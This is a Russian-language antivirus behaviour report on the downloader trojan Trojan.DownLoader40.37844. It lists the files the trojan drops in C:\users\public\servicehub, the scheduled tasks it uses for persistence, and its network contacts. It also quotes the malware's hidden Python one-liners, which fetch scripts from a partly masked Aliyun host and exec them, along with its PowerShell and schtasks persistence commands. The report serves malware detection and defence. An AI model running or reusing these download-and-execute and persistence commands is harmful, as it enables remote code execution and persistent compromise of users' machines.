Trojan.DownLoader40.37844

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\system_settings
<SYSTEM32>\tasks\system_test
<SYSTEM32>\tasks\system_cdaemon

Изменения в файловой системе

Создает следующие файлы

nul
C:\users\public\servicehub\python37.dll
C:\users\public\servicehub\python37.zip
C:\users\public\servicehub\python37._pth
C:\users\public\servicehub\select.pyd
C:\users\public\servicehub\servicehub.host.clr.exe
C:\users\public\servicehub\sqlite3.dll
C:\users\public\servicehub\ucrtbase.dll
C:\users\public\servicehub\unicodedata.pyd
C:\users\public\servicehub\vcruntime140.dll
C:\users\public\servicehub\winsound.pyd
C:\users\public\servicehub\api-ms-win-crt-heap-l1-1-0.dll
C:\users\public\servicehub\_asyncio.pyd
C:\users\public\servicehub\_ctypes.pyd
C:\users\public\servicehub\_decimal.pyd
C:\users\public\servicehub\_elementtree.pyd
C:\users\public\servicehub\_hashlib.pyd
C:\users\public\servicehub\_lzma.pyd
C:\users\public\servicehub\_msi.pyd
C:\users\public\servicehub\_multiprocessing.pyd
C:\users\public\servicehub\_overlapped.pyd
C:\users\public\servicehub\_queue.pyd
C:\users\public\servicehub\_socket.pyd
C:\users\public\servicehub\python.exe
C:\users\public\servicehub\python3.dll
C:\users\public\servicehub\pyexpat.pyd
C:\users\public\servicehub\license.txt
C:\users\public\servicehub\libssl-1_1-x64.dll
C:\users\public\flash.exe
C:\users\public\servicehub\api-ms-win-core-file-l1-2-0.dll
C:\users\public\servicehub\api-ms-win-core-file-l2-1-0.dll
C:\users\public\servicehub\api-ms-win-core-localization-l1-2-0.dll
C:\users\public\servicehub\api-ms-win-core-processthreads-l1-1-1.dll
C:\users\public\servicehub\api-ms-win-core-synch-l1-2-0.dll
C:\users\public\servicehub\api-ms-win-core-timezone-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-conio-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-convert-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-environment-l1-1-0.dll
C:\users\public\servicehub\_sqlite3.pyd
C:\users\public\servicehub\_bz2.pyd
C:\users\public\servicehub\api-ms-win-crt-filesystem-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-math-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-multibyte-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-private-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-process-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-runtime-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-stdio-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-string-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-time-l1-1-0.dll
C:\users\public\servicehub\api-ms-win-crt-utility-l1-1-0.dll
C:\users\public\servicehub\libcrypto-1_1-x64.dll
C:\users\public\servicehub.zip
C:\users\public\servicehub\api-ms-win-crt-locale-l1-1-0.dll
C:\users\public\servicehub\_ssl.pyd

Удаляет следующие файлы

<SYSTEM32>\tasks\system_test

Сетевая активность

Подключается к

'fl############erver.oss-cn-hongkong.aliyuncs.com':80

TCP

Запросы HTTP GET

http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/ffa.exe

UDP

DNS ASK ba##u.com
DNS ASK fl############erver.oss-cn-hongkong.aliyuncs.com

Другое

Создает и запускает на исполнение

'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a
'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a
'<SYSTEM32>\ping.exe' www.ba##u.com' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null)...' (со скрытым окном)
'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a' (со скрытым окном)
'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\ping.exe' www.ba##u.com
'<SYSTEM32>\cmd.exe' /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null)...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $tas...
'<SYSTEM32>\schtasks.exe' /Run /TN SYSTEM_SETTINGS
'<SYSTEM32>\taskeng.exe' {205A4AFE-101F-4644-BAA6-69AFDCA9985E} S-1-5-21-1960123792-2022915161-3775307078-1001:bjamxyncdiaf\user:Interactive:[1]
'<SYSTEM32>\schtasks.exe' /Run /TN SYSTEM_TEST
'<SYSTEM32>\schtasks.exe' /DELETE /F /TN SYSTEM_TEST
'<SYSTEM32>\schtasks.exe' /Run /TN SYSTEM_CDAEMON